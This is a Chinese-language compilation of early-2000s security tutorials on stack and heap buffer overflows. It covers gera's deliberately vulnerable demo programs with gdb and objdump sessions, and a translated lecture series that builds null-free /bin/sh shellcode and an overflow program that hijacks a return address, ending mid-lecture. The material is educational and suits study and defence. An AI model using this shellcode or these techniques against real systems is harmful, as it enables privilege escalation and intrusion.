本文介绍了4种缓冲溢出的攻击技巧。它们是:绕过过滤器限制，改变UID为0，突破
chroot，和建立套接字连接。这些技巧在编写缓冲溢出攻击代码时非常有帮助。另外这
些技巧也可以组合起来运用。所有程序员在开发setuid root程序和服务程序的时候都
应该特别小心!!!!!!!!!

8. 参考文献
Smashing The Stack For Fun And Profit by Aleph1
wu-ftpd remote exploit code by duke
ADMmountd remote exploit code by ADM


非安全编程演示之高级缓冲区溢出篇
文章作者：alert7
信息来源：xfocus.org
声明：文中的大部分演示程序来自qera <gera@core-sdi.com>，感谢qera为
我们精心构造这些很能说明的演示程序。
有些程序可能有不只一种的利用方法，而文中又没有提到的。如果您有
好的idea，记得mailto:alert7@xfocus.org,不正确或者不当之处还
请斧正。
★★ 一 高级缓冲区溢出篇
★ 1.1 演示一----盲目服从（blind obedience）
定义的buf太小，需要copy的数据不足以容纳下。

/* abo1.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* Dumb example to let you get introduced... */
int main(int argc,char **argv) {
char buf[256];
strcpy(buf,argv[1]);
}

这是个很好的例子程序，很能说明问题：该程序将拷贝argv[1]到buf中，使用了
strcpy函数，没有做任何的边界检查。这就给了我们一个机会，传一个超长的
argv[1]进去，覆盖到堆栈中buf后面的数据。你需要利用所有的工具来查看
buf后面到底是什么重要的东西，然后才能构造出那些exploit需要的摸板。

★ 1.2 演示二----执行流程（execution flow）
在来看看这个程序
/* abo2.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* This is a tricky example to make you think *
* and give you some help on the next one */
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
exit(1);
}
正如我们看的那样，在这个例子中，加了个exit(). 发现了不同了吗？一般利用覆盖
main的返回地址的方法已经行不通了。在这个例子中，windows下利用windows的异常
机制可以成功的溢出这个程序，而在unix下就没有这种特性，暂时还不知道如何溢出
这个程序？或者就根本不能利用。欢迎讨论，请mailto:alert7@xfocus.org :)

★ 1.3 演示三----覆盖函数指针

/* abo3.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* This'll prepare you for The Next Step */
int main(int argv,char **argc) {
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];
fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}

可利用缓冲区溢出覆盖fn函数指针，达到攻击目的。

★ 1.4 演示四----覆盖指针，导致任意地址的覆盖
/* abo4.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* After this one, the next is just an Eureka! away */
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}
第一个strcpy时候，可覆盖到pbuf指针，可使pbuf指向fn地址，所以第二次
strcpy的时候就会覆盖到fn指针，结果运行fn()函数的时候就可以执行任意
函数调用，比如system();
★ 1.5 演示五----ch-ch-ch-changes

/* abo5.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* You take the blue pill, you wake up in your bed, *
* and you believe what you want to believe *
* You take the red pill, *
* and I'll show you how deep goes the rabbit hole */
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
strcpy(buf,argc[1]);
for
        (;*pbuf++=*(argc[2]++););
exit(1);
}

第一个strcpy时候，可覆盖到pbuf指针，可使pbuf指向exit的GOT或者.dotrs地址+4,
从而可以覆盖到那些部分，获得控制权。

★ 1.6 演示六
/* abo6.c *
/* specially crafted to feed your brain by gera@core-sdi.com */
/* wwwhat'u talkin' about? */
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}
第一个strcpy时候，可覆盖到pbuf指针，可使pbuf指向第二个strcpy函数的返回地址，
从而可以覆盖到该地址，第二个strcpy一返回就可以获得控制权。

★ 1.7 演示七
/* abo7.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* sometimes you can, *
* sometimes you don't *
* that's what life's about */
char buf[256]={1};
int main(int argv,char **argc) {
strcpy(buf,argc[1]);
}
[alert7@redhat]$ gcc -o test test.c -g
[alert7@redhat]$ gdb test -q
(gdb) l
1 char buf[256]={1};
2
3 int main(int argv,char **argc) {
4 strcpy(buf,argc[1]);
5 }
(gdb) b 4
Breakpoint 1 at 0x80483cb: file test.c, line 4.
(gdb) r 999
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/alert7/test 999
Breakpoint 1, main (argv=2, argc=0xbffffbc4) at test.c:4
4 strcpy(buf,argc[1]);
(gdb) p &buf
$1 = (char (*)[256]) 0x8049460
buf的地址为0x8049460,也就是说如果0x8049460地址后有什么重要的话我们
可以得到控制权的数据的话，那么我们就可以溢出成功。
在这里：
[alert7@redhat]$ objdump -s -j .dtors test
test: file format elf32-i386
Contents of section .dtors:
804956c ffffffff 00000000 ........
我们可以覆盖.dtors，达到获得控制权的目的。

★ 1.8 演示八
Don't stay static

/* abo8.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* spot the difference */
char buf[256];
int main(int argv,char **argc) {
strcpy(buf,argc[1]);
}

[alert7@redhat]$ gcc -o test test.c -g
[alert7@redhat]$ objdump --dynamic-reloc test
test: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804947c R_386_GLOB_DAT __gmon_start__
0804946c R_386_JUMP_SLOT __register_frame_info
08049470 R_386_JUMP_SLOT __deregister_frame_info
08049474 R_386_JUMP_SLOT __libc_start_main
08049478 R_386_JUMP_SLOT strcpy
[alert7@redhat]$ gdb test -q
(gdb) l
1
2 char buf[256];
3
4 int main(int argv,char **argc) {
5 strcpy(buf,argc[1]);
6 }
7
(gdb) b 5
Breakpoint 1 at 0x80483cb: file test.c, line 5.
(gdb) r 11
Starting program: /home/alert7/test 11
Breakpoint 1, main (argv=2, argc=0xbffffbc4) at test.c:5
5 strcpy(buf,argc[1]);
(gdb) p & buf
$1 = (char (*)[256]) 0x8049540
(gdb) q
The program is running. Exit anyway? (y or n) y
[alert7@redhat]$ objdump -s -j .dtors test
test: file format elf32-i386
Contents of section .dtors:
8049458 ffffffff 00000000 ........
[alert7@redhat]$ gcc -o test test.c -g -static
[alert7@redhat]$ gdb test -q
(gdb) l
1
2 char buf[256];
3
4 int main(int argv,char **argc) {
5 strcpy(buf,argc[1]);
6 }
7
(gdb) b 5
Breakpoint 1 at 0x804819b: file test.c, line 5.
(gdb) r 11
Starting program: /home/alert7/test 11
Breakpoint 1, main (argv=2, argc=0xbffffc14) at test.c:5
5 strcpy(buf,argc[1]);
(gdb) p &buf
$1 = (char (*)[256]) 0x807bb60
(gdb) p __exit_funcs
$2 = (struct exit_function_list *) 0x807b160
[alert7@redhat62 alert7]$ objdump -s -j .dtors test
test: file format elf32-i386
Contents of section .dtors:
807b100 ffffffff 00000000 ........
buf的地址都比其他的地址要大，所以覆盖不到他们。
这个例子还不知道如何得到控制权呢？用超长字符串覆盖main函数的
返回地址是不现实的,并且在还没有覆盖到main函数返回地址之前就会
Segmentation fault,原因是访问了一个没有映射的地址（地址
映射是不连续的） 。
这个演示程序让我郁闷了好久，在我的linux上还真的无法成功溢出这个
程序，还是qera又一次专门为windows设计的！？（如果您有好的idea，
记得mailto:alert7@xfocus.org）。在windows下成功溢出这个演示程
序是没有问题的。

★ 1.9 演示九----两次free技术
/* abo9.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* free(your mind) */
/* I'm not sure in what operating systems it can be done */
int main(int argv,char **argc) {
char *pbuf1=(char*)malloc(256);
char *pbuf2=(char*)malloc(256);
gets(pbuf1);
free(pbuf2);
free(pbuf1);
}
请参考waring3的<<一种新的Heap区溢出技术分析>>
那片文章上已经讲的很明白了，不想多说，不想做重复的劳动:)
★ 1.10 演示十----一次free技术
/* abo10.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* Deja-vu*/
char buf[256];
int main(int argv,char **argc) {
char *pbuf=(char*)malloc(256);
gets(buf);
free(pbuf);
}
[alert7@redhat]$ gcc -o test test.c -g
/tmp/ccO6gW96.o: In function `main':
/home/alert7/test.c:6: the `gets' function is dangerous and should not be used.
[alert7@redhat]$ gdb test -q
(gdb) l
1 char buf[256];
2
3 int main(int argv,char **argc) {
4 char *pbuf=(char*)malloc(256);
5
6 gets(buf);
7 free(pbuf);
8 }
(gdb) b 6
Breakpoint 1 at 0x8048440: file test.c, line 6.
(gdb) r
Starting program: /home/alert7/test
Breakpoint 1, main (argv=1, argc=0xbffffbc4) at test.c:6
6 gets(buf);
(gdb) p &buf
$1 = (char (*)[256]) 0x80495c0
(gdb) p pbuf
$2 = 0x80496c8 ""
可覆盖到pbuf的chunk块，利用一次free技术也可覆盖到.dotrs,main的返回地址等等。
演示九和演示十都是由于缓冲区溢出而导致的内存管理函数处理出错，从而利用内存管理
函数中的写操作，覆盖到自己想要覆盖的任何地址空间。


堆栈溢出原理
堆栈 堆栈是一个在计算机科学中经常使用的抽象数据类型。堆栈中的物体具有一个特性:
最后一个放入堆栈中的物体总是被最先拿出来， 这个特性通常称为后进先处(LIFO)队列. 堆栈中定义了一些操作.
两个最重要的是PUSH和POP。 PUSH操作在堆栈的顶部加入一 个元素。POP操作相反， 在堆栈顶部移去一个元素， 并将堆栈的大小减一。

为什么使用堆栈?

现代计算机被设计成能够理解人们头脑中的高级语言。 在使用高级语言构造程序时 最重要的技术是过程(procedure)和函数(function)。 从这一点来看， 一个过程调用可 以象跳转(jump)命令那样改变程序的控制流程， 但是与跳转不同的是， 当工作完成时， 函数把控制权返回给调用之后的语句或指令。 这种高级抽象实现起来要靠堆栈的帮助。 堆栈也用于给函数中使用的局部变量动态分配空间， 同样给函数传递参数和函数返 回值也要用到堆栈。

堆栈区域

堆栈是一块保存数据的连续内存。 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部。 堆栈的底部在一个固定的地址。 堆栈的大小在运行时由内核动态地调整。 CPU实现指令 PUSH和POP， 向堆栈中添加元素和从中移去元素。 堆栈由逻辑堆栈帧组成。 当调用函数时逻辑堆栈帧被压入栈中， 当函数返回时逻辑 堆栈帧被从栈中弹出。 堆栈帧包括函数的参数， 函数地局部变量， 以及恢复前一个堆栈 帧所需要的数据， 其中包括在函数调用时指令指针(IP)的值。 堆栈既可以向下增长(向内存低地址)也可以向上增长， 这依赖于具体的实现。 在我 们的例子中， 堆栈是向下增长的。 这是很多计算机的实现方式， 包括Intel， Motorola， SPARC和MIPS处理器。 堆栈指针(SP)也是依赖于具体实现的。 它可以指向堆栈的最后地址， 或者指向堆栈之后的下一个空闲可用地址。 在我们的讨论当中， SP指向堆栈的最后地址。 除了堆栈指针(SP指向堆栈顶部的的低地址)之外， 为了使用方便还有指向帧内固定 地址的指针叫做帧指针(FP)。 有些文章把它叫做局部基指针(LB-local base pointer)。 从理论上来说， 局部变量可以用SP加偏移量来引用。 然而， 当有字被压栈和出栈后， 这 些偏移量就变了。 尽管在某些情况下编译器能够跟踪栈中的字操作， 由此可以修正偏移 量， 但是在某些情况下不能。 而且在所有情况下， 要引入可观的管理开销。 而且在有些 机器上， 比如Intel处理器， 由SP加偏移量访问一个变量需要多条指令才能实现。 因此， 许多编译器使用第二个寄存器， FP， 对于局部变量和函数参数都可以引用， 因为它们到FP的距离不会受到PUSH和POP操作的影响。 在Intel CPU中， BP(EBP)用于这 个目的。 在Motorola CPU中， 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP。 考虑到我们堆栈的增长方向， 从FP的位置开始计算， 函数参数的偏移量是正值， 而局部 变量的偏移量是负值。 当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以 恢复)。 然后它把SP复制到FP， 创建新的FP， 把SP向前移动为局部变量保留空间。 这称为 例程的序幕(prolog)工作。 当例程退出时， 堆栈必须被清除干净， 这称为例程的收尾 (epilog)工作。 Intel的ENTER和LEAVE指令， Motorola的LINK和UNLINK指令， 都可以用于 有效地序幕和收尾工作。

堆栈溢出

堆栈溢出就是不顾堆栈中分配的局部数据块大小，向该数据块写入了过多的数据，导致数据越界，结果覆盖了老的堆栈数据。 或者解释为 在长字符串中嵌入一段代码，并将过程的返回地址覆盖为这段代码的地址，这样当过程返回时，程序就转而开始执行这段自编的代码了.


堆栈溢出系列讲座（1-10）
文章作者：ipxodi
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(1)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:02 2000), 转信
本文以及以下同系列各文为ipxodi根据alphe one, Taeho Oh 的英文资料所译及整
理，
你可以任意复制和分发。
序言：
通过堆栈溢出来获得root权限是目前使用的相当普遍的一项黑客技术。事实上这是
一个
黑客在系统本地已经拥有了一个基本账号后的首选攻击方式。
他也被广泛应用于远程攻击。通过对daemon进程的堆栈溢出来实现远程获得
rootshell
的技术，已经被很多实例实现。
在windows系统中，同样存在着堆栈溢出的问题。而且，随着internet的普及，
win系列
平台上的internet服务程序越来越多，低水平的win程序就成为你系统上的致命伤
。因为
它们同样会被远程堆栈溢出，而且，由于win系统使用者和管理者普遍缺乏安全防
范的意
识，一台win系统上的堆栈溢出，如果被恶意利用，将导致整个机器被敌人所控制
。进而，
可能导致整个局域网落入敌人之手。
本系列讲座将系统的介绍堆栈溢出的机制，原理，应用，以及防范的措施。希望通
过我
的讲座，大家可以了解和掌握这项技术。而且，会自己去寻找堆栈溢出漏洞，以提
高系
统安全。
堆栈溢出系列讲座
入门篇
本讲的预备知识：
首先你应该了解intel汇编语言，熟悉寄存器的组成和功能。
你必须有堆栈和存储分配方面的基础知识，有关这方面的计算机书籍很多，我
将只是简单阐述原理，着重在应用。
其次，你应该了解linux，本讲中我们的例子将在linux上开发。
1：首先复习一下基础知识。
从物理上讲，堆栈是就是一段连续分配的内存空间。在一个程序中，会声明各种变
量。
静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局
部变量
则分配在堆栈里面。
从操作上来讲，堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好
相反。
我们规定内存的生长方向为向上，则栈的生长方向为向下。压栈的操作push＝ESP
－4，
出栈的操作是pop=ESP+4.换句话说，堆栈中老的值，其内存地址，反而比新的值要
大。
请牢牢记住这一点，因为这是堆栈溢出的基本理论依据。
在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局
部变量，
接下来，就在堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的
内容将
被丢失。但是不被清除。在函数返回的时候，弹出EBP，恢复堆栈到函数调用的地
址,弹出
返回地址到EIP以继续执行程序。
在C语言程序中，参数的压栈顺序是反向的。比如func（a,b,c)。在参数入栈的时
候，是：
先压c，再压b,最后压a.在取参数的时候，由于栈的先入后出，先取栈顶的a，再取
b,最后
取c。
（PS:如果你看不懂上面这段概述，请你去看以看关于堆栈的书籍，一般的汇编语
言书籍
都会详细的讨论堆栈，必须弄懂它，你才能进行下面的学习）
2:好了，继续,让我们来看一看什么是堆栈溢出。
2.1：运行时的堆栈分配
堆栈溢出就是不顾堆栈中分配的局部数据块大小，向该数据块写入了过多的数据，
导致
数据越界。结果覆盖了老的堆栈数据。
        比如有下面一段程序：
程序一：
#include
int main (
        )
{
char name[8];
printf("Please type your name: ");
gets(name);
printf("Hello, %s!",
        name);
return 0;
}
编译并且执行，我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中，堆栈是怎
么操作
的呢？
在main函数开始运行的时候，堆栈里面将被依次放入返回地址，EBP。
我们用gcc -S 来获得汇编语言输出，可以看到main函数的开头部分对应如下语句
：
pushl %ebp
movl %esp,%ebp
subl $8,%esp
首先他把EBP保存下来，，然后EBP等于现在的ESP，这样EBP就可以用来访问本函数
的
局部变量。之后ESP减8，就是堆栈向上增长8个字节，用来存放name[]数组。现在
堆栈
的布局如下：
内存底部 内存顶部
name EBP ret
<------ [ ][ ][ ]
^&name
堆栈顶部 堆栈底部
执行完gets(name)之后，堆栈如下：
内存底部 内存顶部
name EBP ret
<------ [ipxodi\0 ][ ][ ]
^&name
堆栈顶部 堆栈底部
最后，main返回，弹出ret里的地址，赋值给EIP，CPU继续执行EIP所指向的指令。

2.2：堆栈溢出
好，看起来一切顺利。我们再执行一次，输入ipxodiAAAAAAAAAAAAAAA,执行完
gets（name）
之后，堆栈如下：
内存底部 内存顶部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
堆栈顶部 堆栈底部
由于我们输入的name字符串太长，name数组容纳不下，只好向内存顶部继续写‘A
’。
由于堆栈的生长方向与内存的生长方向相反，这些‘A’覆盖了堆栈的老的元素。
如图
我们可以发现，EBP，ret都已经被‘A’覆盖了。在main返回的时候，就会把‘
AAAA’
的ASCII码：0x41414141作为返回地址，CPU会试图执行0x41414141处的指令，结果
出现
错误。这就是一次堆栈溢出。
3：如何利用堆栈溢出
我们已经制造了一次堆栈溢出。其原理可以概括为：由于字符串处理函数
（gets，strcpy等等）没有对数组越界加以监视和限制，我们利用字符数组写越界
，
覆盖堆栈中的老元素的值，就可以修改返回地址。
在上面的例子中，这导致CPU去访问一个不存在的指令，结果出错。
事实上，当堆栈溢出的时候，我们已经完全的控制了这个程序下一步的动作。如果
我们用一个实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我们的指令
。
在UINX系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆栈溢
出
的程序相同的权限。如果这个程序是setuid的，那么我们就可以获得root shell。

下一讲将叙述如何书写一个shell code。
--
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.112.101.131]

--------------------------------------------------------------------------------
分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(2)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:28 2000), 转信
堆栈溢出系列讲座
如何书写一个shell code
一：shellcode基本算法分析
在程序中，执行一个shell的程序是这样写的：
shellcode.c
------------------------------------------------------------------------
-----
#include
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序
的argv（argv[n-1]=0)的指针数组作为第二个参数，以及(char*) 0作为第三个
参数。
我们来看以看execve的汇编代码：
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb，eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh\0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL，用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
经过以上的分析，可以得到如下的精简指令算法：
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。
可是，
如果我们的execve执行失败，（比如没有/bin/sh这个文件），CPU就会继续执行后
续的
指令，结果不知道跑到哪里去了。所以必须再执行一个exit（）系统调用，
结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码：
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
看来exit(0)〕的汇编代码更加简单：
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用
那么总结一下，合成的汇编代码为：
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)
二：实现一个shellcode
好，我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个
name数组
。我们可以构造它们出来，可是，在shellcode中如何知道它们的地址呢？每一次
程序都是
动态加载，字符串和name数组的地址都不是固定的。
通过JMP和call的结合，黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------
------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组，
//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码
。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会
作
//为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------
------
首先使用JMP相对地址来跳转到call,执行完call指令，字符串/bin/sh的地址将作
为call的
返回地址压入堆栈。现在来到popl esi，把刚刚压入栈中的字符串地址取出来，就
获得了
字符串的真实地址。然后，在字符串的第8个字节赋0，作为串的结尾。后面8个字
节，构造
name数组（两个整数，八个字节）。
我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------
------
编译后，用gdb的
b/bx 〔地址〕
命令可以得到十六进制的表示。
下面，写出测试程序如下：（注意，这个test程序是测试shellcode的基本程序）
test.c
------------------------------------------------------------------------
------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2; //ret 等于main（）的返回地址
//(＋2是因为：有pushl ebp ,否则加1就可以了。）
(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地
址。
}
------------------------------------------------------------------------
------
------------------------------------------------------------------------
------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
------
我们通过一个shellcode数组来存放shellcode，当我们把程序（test.c）的返回地
址ret
设置成shellcode数组的开始地址时，程序在返回的时候就会去执行我们的
shellcode，从
而我们得到了一个shell。
运行结果，得到了bsh的提示符$,表明成功的开了一个shell。
这里有必要解释的是，我们把shellcode作为一个全局变量开在了数据段而不是作
为一段
代码。是因为在操作系统中，程序代码段的内容是具有只读属性的。不能修改。而
我们的
代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分，所以不能放在代码
段。
这个shellcode可以了吗？很遗憾，还差了一点。大家回想一下，在堆栈溢出中，
关键在
于字符串数组的写越界。但是，gets，strcpy等字符串函数在处理字符串的时候，
以"\0"
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。
因此，
对于gets（name）来说，上面的shellcode是不可行的。我们的shellcode是不能有
\0字符
出现的。
因此，有些指令需要修改一下：
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
最后的shellcode为：
------------------------------------------------------------------------
----
char shellcode[]=
00 "\xeb\x1f" /* jmp 0x1f */
02 "\x5e" /* popl %esi */
03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
06 "\x31\xc0" /* xorl %eax,%eax */
08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */
0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
0e "\xb0\x0b" /* movb $0xb,%al */
10 "\x89\xf3" /* movl %esi,%ebx */
12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
18 "\xcd\x80" /* int $0x80 */
1a "\x31\xdb" /* xorl %ebx,%ebx */
1c "\x89\xd8" /* movl %ebx,%eax */
1e "\x40" /* inc %eax */
1f "\xcd\x80" /* int $0x80 */
21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */
26 "/bin/sh"; /* .string \"/bin/sh\" */
------------------------------------------------------------------------
----
三：利用堆栈溢出获得shell
好了，现在我们已经制造了一次堆栈溢出，写好了一个shellcode。准备工作都已
经作完，
我们把二者结合起来，就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------
------
char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string = shellcode;
strcpy(buffer,large_string);
}
------------------------------------------------------------------------
------
在执行完strcpy后，堆栈内容如下所示：
内存底部 内存顶部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
堆栈顶部 堆栈底部
注：S表示shellcode。
A表示shellcode的地址。
这样，在执行完strcpy后，overflow。c将从ret取出A作为返回地址，从而执行了
我们的
shellcode。

--
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.112.101.131]

--------------------------------------------------------------------------------
分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(3)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:58 2000), 转信
堆栈溢出系列讲座
利用堆栈溢出获得shell
现在让我们进入最刺激的一讲，利用别人的程序的堆栈溢出获得rootshell。我们
将面对
一个有strcpy堆栈溢出漏洞的程序，利用前面说过的方法来得到shell。
回想一下前面所讲，我们通过一个shellcode数组来存放shellcode，利用程序中的
strcpy
函数，把shellcode放到了程序的堆栈之中；我们制造了数组越界，用shellcode的
开始地
址覆盖了程序（overflow.c）的返回地址，程序在返回的时候就会去执行我们的
shellcode，从而我们得到了一个shell。
当我们面对别人写的程序时，为了让他执行我们的shellcode，同样必须作这两件
事：
1:把我们的shellcode提供给他，让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。
为了做到这两条，我们必须知道他的strcpy（buffer,ourshellcode）中，buffer
的地址。
因为当我们把shellcode提供给strcpy之后，buffer的开始地址就是shellcode的开
始地址
，我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。
我们知道，对于操作系统来说，一个shell下的每一个程序的堆栈段开始地址都是
相同的
